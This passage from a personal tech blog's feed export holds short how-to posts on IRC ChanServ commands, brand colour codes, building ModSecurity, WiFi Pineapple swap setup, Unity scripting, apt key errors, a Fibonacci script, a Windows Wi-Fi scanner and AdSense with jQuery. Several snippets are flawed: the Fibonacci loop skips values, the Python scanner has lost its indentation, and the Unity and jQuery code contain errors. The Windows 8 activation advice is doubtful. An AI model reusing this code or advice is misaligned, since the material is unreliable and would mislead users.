&lt;pre&gt;/msg chanserv set #channelnam guard on&lt;/pre&gt;
&lt;p&gt;keeps your channel&amp;rsquo;s topic when there are 0 people in room&lt;/p&gt;
&lt;pre&gt;/msg chanserv set #channelnam keeptopic on&lt;/pre&gt;
&lt;p&gt;delete it:&lt;/p&gt;
&lt;pre&gt;/msg chanserv `drop`&lt;/pre&gt;
&lt;p&gt;help:&lt;/p&gt;
&lt;pre&gt;/msg chanserv help&lt;/pre&gt;</content>
<published>2016-07-23T02:30:00+00:00</published>
<updated>2016-07-23T02:30:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/13'/>
<id>https://wirelessarmy.theproject1.com/13</id>
<author><name>admin</name></author>
</entry> <entry>
<title>Social Media Colors</title> 
<content type='html'>&lt;p&gt;Social Media Colours &amp;ndash; Hex and RGB Colours of the Web&lt;/p&gt;
&lt;table style=&quot;width: 100%; border: 0;&quot; width=&quot;100%&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;border: 0;&quot;&gt;
&lt;td style=&quot;width: 100px; vertical-align: top;&quot;&gt;&lt;a title=&quot;Facebook Colour Palette (Hex and RGB)&quot; href=&quot;http://designpieces.com/2012/12/facebook-colour-palette/&quot;&gt;&lt;img src=&quot;http://designpieces.com/wp-content/uploads/2012/12/182-facebook-blue.png&quot; alt=&quot;Facebook Blue&quot; width=&quot;100&quot; height=&quot;75&quot; /&gt;&lt;/a&gt;&lt;/td&gt;
&lt;td style=&quot;vertical-align: top; text-align: left;&quot;&gt;&lt;strong&gt;Facebook Blue&lt;/strong&gt;&lt;br /&gt; Hex: #3b5998&lt;br /&gt; RGB: 59, 89, 152&lt;br /&gt; &lt;a title=&quot;Facebook Colour Palette (Hex and RGB)&quot; href=&quot;http://designpieces.com/2012/12/facebook-colour-palette/&quot;&gt;More Facebook colours&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;border: 0;&quot;&gt;
&lt;td style=&quot;width: 100px; vertical-align: top;&quot;&gt;&lt;a title=&quot;Twitter Colour Palette (Hex and RGB)&quot; href=&quot;http://designpieces.com/2012/12/twitter-colour-palette/&quot;&gt;&lt;img src=&quot;http://designpieces.com/wp-content/uploads/2012/12/182-twitter-blue2.png&quot; alt=&quot;182-twitter-blue&quot; width=&quot;100&quot; height=&quot;75&quot; /&gt;&lt;/a&gt;&lt;/td&gt;
&lt;td style=&quot;vertical-align: top; text-align: left;&quot;&gt;&lt;strong&gt;Twitter Blue&lt;/strong&gt;&lt;br /&gt; Hex: #00aced&lt;br /&gt; RGB: 0, 172, 237&lt;br /&gt; &lt;a title=&quot;Twitter Colour Palette (Hex and RGB)&quot; href=&quot;http://designpieces.com/2012/12/twitter-colour-palette/&quot;&gt;More Twitter colours&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;border: 0;&quot;&gt;
&lt;td style=&quot;width: 100px; vertical-align: top;&quot;&gt;&lt;img src=&quot;http://designpieces.com/wp-content/uploads/2012/12/182-googleplus-red1.png&quot; alt=&quot;182-googleplus-red&quot; width=&quot;100&quot; height=&quot;75&quot; /&gt;&lt;/td&gt;
&lt;td style=&quot;vertical-align: top; text-align: left;&quot;&gt;&lt;strong&gt;Google+ Red&lt;/strong&gt;&lt;br /&gt; Hex: #dd4b39&lt;br /&gt; RGB: 221, 75, 57&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;border: 0;&quot;&gt;
&lt;td style=&quot;width: 100px; vertical-align: top;&quot;&gt;&lt;img src=&quot;http://designpieces.com/wp-content/uploads/2012/12/182-youtube-red1.png&quot; alt=&quot;182-youtube-red&quot; width=&quot;100&quot; height=&quot;75&quot; /&gt;&lt;/td&gt;
&lt;td style=&quot;vertical-align: top; text-align: left;&quot;&gt;&lt;strong&gt;YouTube Red&lt;/strong&gt;&lt;br /&gt; Hex: #bb0000&lt;br /&gt; RGB: 187, 0, 0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;border: 0;&quot;&gt;
&lt;td style=&quot;width: 100px; vertical-align: top;&quot;&gt;&lt;img src=&quot;http://designpieces.com/wp-content/uploads/2012/12/182-linkedin-blue1.png&quot; alt=&quot;182-linkedin-blue&quot; width=&quot;100&quot; height=&quot;75&quot; /&gt;&lt;/td&gt;
&lt;td style=&quot;vertical-align: top; text-align: left;&quot;&gt;&lt;strong&gt;Linkedin Blue&lt;/strong&gt;&lt;br /&gt; Hex: #007bb6&lt;br /&gt; RGB: 0, 123, 182&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;border: 0;&quot;&gt;
&lt;td style=&quot;width: 100px; vertical-align: top;&quot;&gt;&lt;img src=&quot;http://designpieces.com/wp-content/uploads/2012/12/182-instagram-blue.png&quot; alt=&quot;182-instagram-blue&quot; width=&quot;100&quot; height=&quot;75&quot; /&gt;&lt;/td&gt;
&lt;td style=&quot;vertical-align: top; text-align: left;&quot;&gt;&lt;strong&gt;Instagram Blue&lt;/strong&gt;&lt;br /&gt; Hex: #517fa4&lt;br /&gt; RGB: 81, 127, 164&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;border: 0;&quot;&gt;
&lt;td style=&quot;width: 100px; vertical-align: top;&quot;&gt;&lt;img src=&quot;http://designpieces.com/wp-content/uploads/2012/12/182-pinterest-red.png&quot; alt=&quot;182-pinterest-red&quot; width=&quot;100&quot; height=&quot;75&quot; /&gt;&lt;/td&gt;
&lt;td style=&quot;vertical-align: top; text-align: left;&quot;&gt;&lt;strong&gt;Pinterest Red&lt;/strong&gt;&lt;br /&gt; Hex: #cb2027&lt;br /&gt; RGB: 203, 32, 39&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;border: 0;&quot;&gt;
&lt;td style=&quot;width: 100px; vertical-align: top;&quot;&gt;&lt;img src=&quot;http://designpieces.com/wp-content/uploads/2012/12/vine-green.png&quot; alt=&quot;Vine Green&quot; width=&quot;100&quot; height=&quot;75&quot; /&gt;&lt;/td&gt;
&lt;td style=&quot;vertical-align: top; text-align: left;&quot;&gt;&lt;strong&gt;Vine Green&lt;/strong&gt;&lt;br /&gt; Hex: #00bf8f&lt;br /&gt; RGB: 0, 191, 143&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;border: 0;&quot;&gt;
&lt;td style=&quot;width: 100px; vertical-align: top;&quot;&gt;&lt;img src=&quot;http://designpieces.com/wp-content/uploads/2012/12/snapchat-yellow.png&quot; alt=&quot;Snapchat Yellow&quot; width=&quot;100&quot; height=&quot;75&quot; /&gt;&lt;/td&gt;
&lt;td style=&quot;vertical-align: top; text-align: left;&quot;&gt;&lt;strong&gt;Snapchat Yellow&lt;/strong&gt;&lt;br /&gt; Hex: #fffc00&lt;br /&gt; RGB: 255, 252, 0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;border: 0;&quot;&gt;
&lt;td style=&quot;width: 100px; vertical-align: top;&quot;&gt;&lt;a href=&quot;http://designpieces.com/wp-content/uploads/2012/12/182-quora-burgundy.jpg&quot;&gt;&lt;img src=&quot;http://designpieces.com/wp-content/uploads/2012/12/182-quora-burgundy.jpg&quot; alt=&quot;Quora Burgundy&quot; width=&quot;100&quot; height=&quot;75&quot; /&gt;&lt;/a&gt;&lt;/td&gt;
&lt;td style=&quot;vertical-align: top; text-align: left;&quot;&gt;&lt;strong&gt;Quora Burgundy&lt;/strong&gt;&lt;br /&gt; Hex: #a82400&lt;br /&gt; RGB: 168, 36, 0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;border: 0;&quot;&gt;
&lt;td style=&quot;width: 100px; vertical-align: top;&quot;&gt;&lt;img src=&quot;http://designpieces.com/wp-content/uploads/2012/12/182-flickr-pink1.png&quot; alt=&quot;182-flickr-pink&quot; width=&quot;100&quot; height=&quot;75&quot; /&gt;&lt;/td&gt;
&lt;td style=&quot;vertical-align: top; text-align: left;&quot;&gt;&lt;strong&gt;Flickr Pink&lt;/strong&gt;&lt;br /&gt; Hex: #ff0084&lt;br /&gt; RGB: 255, 0, 132&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;border: 0;&quot;&gt;
&lt;td style=&quot;width: 100px; vertical-align: top;&quot;&gt;&lt;img src=&quot;http://designpieces.com/wp-content/uploads/2012/12/182-tumblr-dark-turquoise1.png&quot; alt=&quot;182-tumblr-dark-turquoise&quot; width=&quot;100&quot; height=&quot;75&quot; /&gt;&lt;/td&gt;
&lt;td style=&quot;vertical-align: top; text-align: left;&quot;&gt;&lt;strong&gt;Tumblr Dark Turquoise&lt;/strong&gt;&lt;br /&gt; Hex: #32506d&lt;br /&gt; RGB: 50, 80, 109&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;border: 0;&quot;&gt;
&lt;td style=&quot;width: 100px; vertical-align: top;&quot;&gt;&lt;img src=&quot;http://designpieces.com/wp-content/uploads/2012/12/182-vk-blue.png&quot; alt=&quot;182-vk-blue&quot; width=&quot;100&quot; height=&quot;75&quot; /&gt;&lt;/td&gt;
&lt;td style=&quot;vertical-align: top; text-align: left;&quot;&gt;&lt;strong&gt;VK Blue&lt;/strong&gt;&lt;br /&gt; Hex: #45668e&lt;br /&gt; RGB: 69, 102, 142&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;border: 0;&quot;&gt;
&lt;td style=&quot;width: 100px; vertical-align: top;&quot;&gt;&lt;a title=&quot;Vimeo Colour Palette (Hex and RGB)&quot; href=&quot;http://designpieces.com/2012/12/vimeo-colour-palette/&quot;&gt;&lt;img src=&quot;http://designpieces.com/wp-content/uploads/2012/12/319-vimeo-green.png&quot; alt=&quot;319-vimeo-green&quot; width=&quot;100&quot; height=&quot;75&quot; /&gt;&lt;/a&gt;&lt;/td&gt;
&lt;td style=&quot;vertical-align: top; text-align: left;&quot;&gt;&lt;strong&gt;Vimeo Green&lt;/strong&gt;&lt;br /&gt; Hex: #aad450&lt;br /&gt; RGB: 170, 212, 80&lt;br /&gt; &lt;a title=&quot;Vimeo Colour Palette (Hex and RGB)&quot; href=&quot;http://designpieces.com/2012/12/vimeo-colour-palette/&quot;&gt;More Vimeo colours&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;border: 0;&quot;&gt;
&lt;td style=&quot;width: 100px; vertical-align: top;&quot;&gt;&lt;img src=&quot;http://designpieces.com/wp-content/uploads/2012/12/182-foursquare-logo-blue.png&quot; alt=&quot;182-foursquare-logo-blue&quot; width=&quot;100&quot; height=&quot;75&quot; /&gt;&lt;/td&gt;
&lt;td style=&quot;vertical-align: top; text-align: left;&quot;&gt;&lt;strong&gt;Foursquare Logo Blue&lt;/strong&gt;&lt;br /&gt; Hex: #0072b1&lt;br /&gt; RGB: 0, 114, 177&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;</content>
<published>2016-07-16T20:02:00+00:00</published>
<updated>2016-07-16T20:02:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/150'/>
<id>https://wirelessarmy.theproject1.com/150</id>
<author><name>admin</name></author>
</entry> <entry>
<title>Build ModSecurity from source</title> 
<content type='html'>&lt;p&gt;before we start, you need to have your apache source and arp module downloaded.&lt;/p&gt;
&lt;pre&gt;git clone git://github.com/SpiderLabs/ModSecurity.git&lt;br /&gt;./autogen.sh&lt;br /&gt;./configure --with-apxs=/usr/local/apache2/bin/apxs --with-apr=/root/httpd-2.4.18/srclib/apr/ --with-apu=/root/httpd-2.4.18/srclib/apr-util/ --with-lua=/usr/lib/x86_64-linux-gnu/pkgconfig/&lt;br /&gt;make&lt;br /&gt;make install&lt;/pre&gt;
&lt;p&gt;and now we will install the owasp recommended settings.&lt;/p&gt;
&lt;pre&gt;wget https://github.com/SpiderLabs/owasp-modsecurity-crs/tarball/master&lt;br /&gt;mv master master.tar.gz&lt;br /&gt;rm master.tar.gz&lt;br /&gt;cp -R SpiderLabs-owasp-modsecurity-crs-60c8bc9/ /usr/local/apache2/conf/crs/&lt;br /&gt;cd /usr/local/apache2/conf/crs/&lt;br /&gt;mv modsecurity_crs_10_setup.conf.example modsecurity_crs_10_setup.conf&lt;br /&gt;ln -s /usr/local/apache2/conf/crs/modsecurity_crs_10_setup.conf activated_rules/&lt;br /&gt;for f in `ls base_rules/` ; do ln -s /usr/local/apache2/conf/crs/base_rules/$f activated_rules/$f ; done&lt;br /&gt;for f in `ls optional_rules/` ; do ln -s /usr/local/apache2/conf/crs/optional_rules/$f activated_rules/$f ; done&lt;br /&gt;mkdir /etc/modsec&lt;br /&gt;cd&lt;br /&gt;cp modsecurity.conf-recommended /etc/modsec/modsecurity.conf&lt;br /&gt;cp unicode.mapping /etc/modsec/&lt;br /&gt;nano /etc/modsec/whitelist.conf&lt;/pre&gt;
&lt;p&gt;add the following to your httpd.conf file&lt;/p&gt;
&lt;pre&gt;&lt;br /&gt;LoadModule unique_id_module modules/mod_unique_id.so&lt;br /&gt;LoadModule security2_module modules/mod_security2.so&lt;br /&gt;&amp;lt;IfModule security2_module&amp;gt;&lt;br /&gt;Include /etc/modsec/modsecurity.conf&lt;br /&gt;Include conf/crs/activated_rules/*.conf&lt;br /&gt;Include /etc/modsec/whitelist.conf&lt;br /&gt;SecRule ARGS &quot;mod_security_test&quot; &quot;t:normalisePathWin,id:99999,severity:4,msg:&#039;Drive Access&#039;&quot;&lt;br /&gt;&amp;lt;/IfModule&amp;gt;&lt;/pre&gt;</content>
<published>2016-07-03T17:47:00+00:00</published>
<updated>2016-07-03T17:47:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/178'/>
<id>https://wirelessarmy.theproject1.com/178</id>
<author><name>admin</name></author>
</entry> <entry>
<title>Create swap drive for a usb</title> 
<content type='html'>&lt;p&gt;in this example we will use a 4gb usb&lt;br&gt;
3gb for storage an 1 gb for swap&lt;/p&gt;
&lt;p&gt;on any linux operation system format your usb to ext4 for both 3gb and 1 gb partition.&lt;br&gt;
then go to wifi pineapple web interface, on usb tab change every thing with the fallowing code lines.&lt;/p&gt;
&lt;pre&gt;config global automount
       option from_fstab 1
       option anon_mount 1

config global autoswap
       option from_fstab 1
       option anon_swap 1

config mount
       option target   /usb
       option device   /dev/sda1
       option fstype   ext4
       option options  rw,sync
       option enabled  1
       option enabled_fsck 0

config swap
       option device   /dev/sda2
       option enabled  1&lt;/pre&gt;
&lt;p&gt;then ssh to your pineapple or on the web interface, advance tab execute command part past the fallowing command.&lt;/p&gt;
&lt;pre&gt;mkswap /dev/sda2&lt;/pre&gt;
&lt;p&gt;and you will see something like this:&lt;/p&gt;
&lt;pre&gt;Setting up swapspace version 1, size = 1002032 kB
no label, UUID=97996185-a731-4d1e-92d8-1017fdb3603e&lt;/pre&gt;
&lt;p&gt;Now reboot your wifi pineapple&lt;/p&gt;
&lt;p&gt;for verification run the command free&lt;br&gt;
and your line beginning with swap word should look like this&lt;/p&gt;
&lt;pre&gt;Swap: 974844 0 974844&lt;/pre&gt;
&lt;p&gt;or any number else depending on you size chosen but not&lt;/p&gt;
&lt;pre&gt;Swap: 0 0 0&lt;/pre&gt;</content>
<published>2016-07-01T14:39:00+00:00</published>
<updated>2016-07-01T14:39:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/97'/>
<id>https://wirelessarmy.theproject1.com/97</id>
<author><name>admin</name></author>
</entry> <entry>
<title>transitionfrom 4 to 5 C#</title> 
<content type='html'>&lt;p&gt;many parts of your C# script may brake if you have a game written in unity 4 and now you upgraded to unity 5.&lt;/p&gt;
&lt;p&gt;before you used to talk to your componants directly like&lt;/p&gt;
&lt;p&gt;animation.play();&lt;/p&gt;
&lt;p&gt;or&lt;/p&gt;
&lt;p&gt;Rigidbody.velocity&lt;/p&gt;
&lt;p&gt;now the cyntax will looke like some thing like&lt;/p&gt;
&lt;p&gt;GetComponent&amp;lt;animation&amp;gt;().play;&lt;/p&gt;
&lt;p&gt;or&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;GetComponent&amp;lt;Rigidbody&amp;gt;().velocity&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;</content>
<published>2016-06-30T13:52:00+00:00</published>
<updated>2016-06-30T13:52:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/167'/>
<id>https://wirelessarmy.theproject1.com/167</id>
<author><name>admin</name></author>
</entry> <entry>
<title>fix PUBKEY error</title> 
<content type='html'>&lt;p&gt;when you update you can get errors like this:&lt;br /&gt; The following signatures couldn&amp;rsquo;t be verified because the public key is not available: NO_PUBKEY 6AF0E1940624A220&lt;/p&gt;
&lt;p&gt;you can solve it by doing:&lt;br /&gt; sudo apt-key adv &amp;ndash;keyserver keyserver.ubuntu.com &amp;ndash;recv-keys (key number)&lt;br /&gt; ex:&lt;br /&gt; sudo apt-key adv &amp;ndash;keyserver keyserver.ubuntu.com &amp;ndash;recv-keys 6AF0E1940624A220&lt;/p&gt;</content>
<published>2016-06-27T22:26:00+00:00</published>
<updated>2016-06-27T22:26:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/93'/>
<id>https://wirelessarmy.theproject1.com/93</id>
<author><name>admin</name></author>
</entry> <entry>
<title>Windows 8 activation problem</title> 
<content type='html'>if you are trying to install a windows 8 on a hard drive that is empty you should think again.
There is a problem for that because you can’t activate your windows.
solution:
first install a windows 7 activate it then upgrade it to windows 8 and if you don’t have a windows 7, just bring your pc to a customer support and they will do it for you.</content>
<published>2016-06-27T21:51:00+00:00</published>
<updated>2016-06-27T21:51:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/132'/>
<id>https://wirelessarmy.theproject1.com/132</id>
<author><name>admin</name></author>
</entry> <entry>
<title>finding Fibonacci numbers</title> 
<content type='html'>assuming that you have python installed (version 3 is not recommended for this script)
past this code is a file with the extension of .py
then run it. It will ask you for a number, you need to choose a max limit to count to for your Fibonacci numbers 
and it will give you all the Fibonacci numbers in a file.
if you put a large number you can find a visual patter.
&lt;pre&gt;def fib():
	x,y = 0,1
	while True:
		yield x
		x, y = y, x + y
a = int(raw_input(&#039;Enter a number: &#039;))
fi = fib().next
while fi() &lt;= a:
		f = open(&#039;fibonacci.txt&#039;,&#039;a&#039;)
		f.write(str(str(fi()).split()).strip(&quot;[]&quot;))
		f.close()&lt;/pre&gt;</content>
<published>2016-06-27T11:21:00+00:00</published>
<updated>2016-06-27T11:21:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/42'/>
<id>https://wirelessarmy.theproject1.com/42</id>
<author><name>admin</name></author>
</entry> <entry>
<title>configure touchpad</title> 
<content type='html'>if you are using linux on a laptop you may have some questions like:
how do I tap with 2 finger to right click or 2 finger scroll
or how to tap to click instead of pressing the button.
all you have to do is edit the file 50-synaptics.conf from /usr/share/X11/xorg.conf.d
&lt;pre&gt;
Section &quot;InputClass&quot;
        Identifier &quot;touchpad catchall&quot;
        Driver &quot;synaptics&quot;
        MatchIsTouchpad &quot;on&quot;
#this one for tap to click
	Option &quot;TapButton1&quot; &quot;1&quot;
#this one for two fingers to click
	Option &quot;TapButton2&quot; &quot;3&quot;
	Option &quot;TapButton3&quot; &quot;2&quot;
#this one for to fingers to scroll
	Option &quot;VertTwoFingerScroll&quot; &quot;1&quot;
EndSection
&lt;/pre&gt;
also if you want to revers the scroll, you can edit that on you system settings the input, mouse.</content>
<published>2016-06-27T11:20:00+00:00</published>
<updated>2016-06-27T11:20:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/75'/>
<id>https://wirelessarmy.theproject1.com/75</id>
<author><name>admin</name></author>
</entry> <entry>
<title>View Wi-Fi signals</title> 
<content type='html'>&lt;p&gt;this is a python script to see wifi around you with percentage of signal strength and info about you wifi card works on windows only&lt;br&gt;
for linux you my use iwlist wlan0 scanning&lt;/p&gt;
&lt;pre&gt;from ctypes import *
from ctypes.wintypes import *
from sys import exit

def customresize(array, new_size):
return (array._type_*new_size).from_address(addressof(array))

wlanapi = windll.LoadLibrary(&#039;wlanapi.dll&#039;)

ERROR_SUCCESS = 0

class GUID(Structure):
_fields_ = [
(&#039;Data1&#039;, c_ulong),
(&#039;Data2&#039;, c_ushort),
(&#039;Data3&#039;, c_ushort),
(&#039;Data4&#039;, c_ubyte*8),
]

WLAN_INTERFACE_STATE = c_uint
(wlan_interface_state_not_ready,
wlan_interface_state_connected,
wlan_interface_state_ad_hoc_network_formed,
wlan_interface_state_disconnecting,
wlan_interface_state_disconnected,
wlan_interface_state_associating,
wlan_interface_state_discovering,
wlan_interface_state_authenticating) = map(WLAN_INTERFACE_STATE, xrange(0, 8))

class WLAN_INTERFACE_INFO(Structure):
_fields_ = [
(&quot;InterfaceGuid&quot;, GUID),
(&quot;strInterfaceDescription&quot;, c_wchar * 256),
(&quot;isState&quot;, WLAN_INTERFACE_STATE)
]

class WLAN_INTERFACE_INFO_LIST(Structure):
_fields_ = [
(&quot;NumberOfItems&quot;, DWORD),
(&quot;Index&quot;, DWORD),
(&quot;InterfaceInfo&quot;, WLAN_INTERFACE_INFO * 1)
]

WLAN_MAX_PHY_TYPE_NUMBER = 0x8
DOT11_SSID_MAX_LENGTH = 32
WLAN_REASON_CODE = DWORD
DOT11_BSS_TYPE = c_uint
(dot11_BSS_type_infrastructure,
dot11_BSS_type_independent,
dot11_BSS_type_any) = map(DOT11_BSS_TYPE, xrange(1, 4))
DOT11_PHY_TYPE = c_uint
dot11_phy_type_unknown = 0
dot11_phy_type_any = 0
dot11_phy_type_fhss = 1
dot11_phy_type_dsss = 2
dot11_phy_type_irbaseband = 3
dot11_phy_type_ofdm = 4
dot11_phy_type_hrdsss = 5
dot11_phy_type_erp = 6
dot11_phy_type_ht = 7
dot11_phy_type_IHV_start = 0x80000000
dot11_phy_type_IHV_end = 0xffffffff

DOT11_AUTH_ALGORITHM = c_uint
DOT11_AUTH_ALGO_80211_OPEN = 1
DOT11_AUTH_ALGO_80211_SHARED_KEY = 2
DOT11_AUTH_ALGO_WPA = 3
DOT11_AUTH_ALGO_WPA_PSK = 4
DOT11_AUTH_ALGO_WPA_NONE = 5
DOT11_AUTH_ALGO_RSNA = 6
DOT11_AUTH_ALGO_RSNA_PSK = 7
DOT11_AUTH_ALGO_IHV_START = 0x80000000
DOT11_AUTH_ALGO_IHV_END = 0xffffffff

DOT11_CIPHER_ALGORITHM = c_uint
DOT11_CIPHER_ALGO_NONE = 0x00
DOT11_CIPHER_ALGO_WEP40 = 0x01
DOT11_CIPHER_ALGO_TKIP = 0x02
DOT11_CIPHER_ALGO_CCMP = 0x04
DOT11_CIPHER_ALGO_WEP104 = 0x05
DOT11_CIPHER_ALGO_WPA_USE_GROUP = 0x100
DOT11_CIPHER_ALGO_RSN_USE_GROUP = 0x100
DOT11_CIPHER_ALGO_WEP = 0x101
DOT11_CIPHER_ALGO_IHV_START = 0x80000000
DOT11_CIPHER_ALGO_IHV_END = 0xffffffff

WLAN_AVAILABLE_NETWORK_CONNECTED = 1
WLAN_AVAILABLE_NETWORK_HAS_PROFILE = 2

WLAN_AVAILABLE_NETWORK_INCLUDE_ALL_ADHOC_PROFILES = 0x00000001
WLAN_AVAILABLE_NETWORK_INCLUDE_ALL_MANUAL_HIDDEN_PROFILES = 0x00000002

class DOT11_SSID(Structure):
_fields_ = [
(&quot;SSIDLength&quot;, c_ulong),
(&quot;SSID&quot;, c_char * DOT11_SSID_MAX_LENGTH)
]

class WLAN_AVAILABLE_NETWORK(Structure):
_fields_ = [
(&quot;ProfileName&quot;, c_wchar * 256),
(&quot;dot11Ssid&quot;, DOT11_SSID),
(&quot;dot11BssType&quot;, DOT11_BSS_TYPE),
(&quot;NumberOfBssids&quot;, c_ulong),
(&quot;NetworkConnectable&quot;, c_bool),
(&quot;wlanNotConnectableReason&quot;, WLAN_REASON_CODE),
(&quot;NumberOfPhyTypes&quot;, c_ulong),
(&quot;dot11PhyTypes&quot;, DOT11_PHY_TYPE * WLAN_MAX_PHY_TYPE_NUMBER),
(&quot;MorePhyTypes&quot;, c_bool),
(&quot;wlanSignalQuality&quot;, c_ulong),
(&quot;SecurityEnabled&quot;, c_bool),
(&quot;dot11DefaultAuthAlgorithm&quot;, DOT11_AUTH_ALGORITHM),
(&quot;dot11DefaultCipherAlgorithm&quot;, DOT11_CIPHER_ALGORITHM),
(&quot;Flags&quot;, DWORD),
(&quot;Reserved&quot;, DWORD)
]

class WLAN_AVAILABLE_NETWORK_LIST(Structure):
_fields_ = [
(&quot;NumberOfItems&quot;, DWORD),
(&quot;Index&quot;, DWORD),
(&quot;Network&quot;, WLAN_AVAILABLE_NETWORK * 1)
]

WlanOpenHandle = wlanapi.WlanOpenHandle
WlanOpenHandle.argtypes = (DWORD, c_void_p, POINTER(DWORD), POINTER(HANDLE))
WlanOpenHandle.restype = DWORD

WlanEnumInterfaces = wlanapi.WlanEnumInterfaces
WlanEnumInterfaces.argtypes = (HANDLE, c_void_p,
POINTER(POINTER(WLAN_INTERFACE_INFO_LIST)))
WlanEnumInterfaces.restype = DWORD

WlanGetAvailableNetworkList = wlanapi.WlanGetAvailableNetworkList
WlanGetAvailableNetworkList.argtypes = (HANDLE, POINTER(GUID), DWORD, c_void_p,
POINTER(POINTER(WLAN_AVAILABLE_NETWORK_LIST)))
WlanGetAvailableNetworkList.restype = DWORD

WlanFreeMemory = wlanapi.WlanFreeMemory
WlanFreeMemory.argtypes = [c_void_p]

if __name__ == &#039;__main__&#039;:
NegotiatedVersion = DWORD()
ClientHandle = HANDLE()
ret = WlanOpenHandle(1, None, byref(NegotiatedVersion), byref(ClientHandle))
if ret != ERROR_SUCCESS:
exit(FormatError(ret))
# find all wireless network interfaces
pInterfaceList = pointer(WLAN_INTERFACE_INFO_LIST())
ret = WlanEnumInterfaces(ClientHandle, None, byref(pInterfaceList))
if ret != ERROR_SUCCESS:
exit(FormatError(ret))
try:
ifaces = customresize(pInterfaceList.contents.InterfaceInfo,
pInterfaceList.contents.NumberOfItems)
# find each available network for each interface
for iface in ifaces:
print &quot;Interface: %s&quot; % (iface.strInterfaceDescription)
pAvailableNetworkList = pointer(WLAN_AVAILABLE_NETWORK_LIST())
ret = WlanGetAvailableNetworkList(ClientHandle,
byref(iface.InterfaceGuid),
0,
None,
byref(pAvailableNetworkList))
if ret != ERROR_SUCCESS:
exit(FormatError(ret))
try:
avail_net_list = pAvailableNetworkList.contents
networks = customresize(avail_net_list.Network,
avail_net_list.NumberOfItems)
for network in networks:
print &quot;SSID: %s, quality: %02d%%&quot; % (
network.dot11Ssid.SSID[:network.dot11Ssid.SSIDLength],
network.wlanSignalQuality)
finally:
WlanFreeMemory(pAvailableNetworkList)
finally:
WlanFreeMemory(pInterfaceList)&lt;/pre&gt;</content>
<published>2016-06-24T20:13:00+00:00</published>
<updated>2016-06-24T20:13:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/52'/>
<id>https://wirelessarmy.theproject1.com/52</id>
<author><name>admin</name></author>
</entry> <entry>
<title>make google adsense work with jquery</title> 
<content type='html'>If you have worked with jquery and google adsense at the same time you have found out that adds will not show up.&lt;br&gt;
so you can copy and past the lines below in to the head
&lt;pre&gt;
&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;
$(window).load(function(){
   var ads_top = $(&quot;#adsense_top&quot;).find(&quot;iframe&quot;);
   //This is where the ads will show when the page is first loaded
   $(ads_top).appendTo(&quot;#google_ads_top div&quot;);

   $(&quot;#adsense_top&quot;).remove();

   $(&#039;div&#039;).live(&#039;pagehide&#039;,function(event, ui){
      //Display the ad
     $(ads_top).appendTo(&quot;#google_ads_top div&quot;);
   });
});
&amp;lt;script&amp;gt;&lt;/pre&gt;
&lt;br&gt;and if even this will not work put the ad code inside this div:
&lt;pre&gt;
&amp;lt;div id=&quot;adsense_top&quot; style=&quot;display:none;&quot;&amp;gt;
    &amp;lt;!--Insert adsense Code--&amp;gt;
  &amp;lt;/div&amp;gt;
&lt;/pre&gt;
&lt;br&gt;and then add this code where ever you want the ad to show up
&lt;pre&gt;
&amp;lt;div id=&quot;google_ads_top&quot;&amp;gt;
        &amp;lt;div align=&quot;center&quot;&amp;gt;
        &amp;lt;/div&amp;gt;
    &amp;lt;/div&amp;gt;
&lt;/pre&gt;</content>
<published>2016-06-21T20:12:00+00:00</published>
<updated>2016-06-21T20:12:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/19'/>
<id>https://wirelessarmy.theproject1.com/19</id>
<author><name>admin</name></author>
</entry> <entry>
<title>touch screen problem</title> 
<content type='html'>&lt;p&gt;after upgrading to windows 10 you may see&lt;br /&gt; No pen &amp;amp; touch input is available for this display&lt;br /&gt;in your system properties&lt;br /&gt;where when you touch the screen it will just move the mouse around&lt;br /&gt;after doing losts of reasearch, the only fix that I have found is this driver pach&amp;nbsp;&lt;br /&gt;and it worked for me.&lt;br /&gt;&lt;a href=&quot;http://home.eeti.com.tw/Win10Update.html&quot;&gt;http://home.eeti.com.tw/Win10Update.html&lt;/a&gt;&lt;/p&gt;</content>
<published>2016-06-19T19:00:00+00:00</published>
<updated>2016-06-19T19:00:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/168'/>
<id>https://wirelessarmy.theproject1.com/168</id>
<author><name>admin</name></author>
</entry> <entry>
<title>remove time stamp</title> 
<content type='html'>if you want to remove sumbited by admin on (some time) you can edit the file modules/node/node.module , fide the fallowing line:
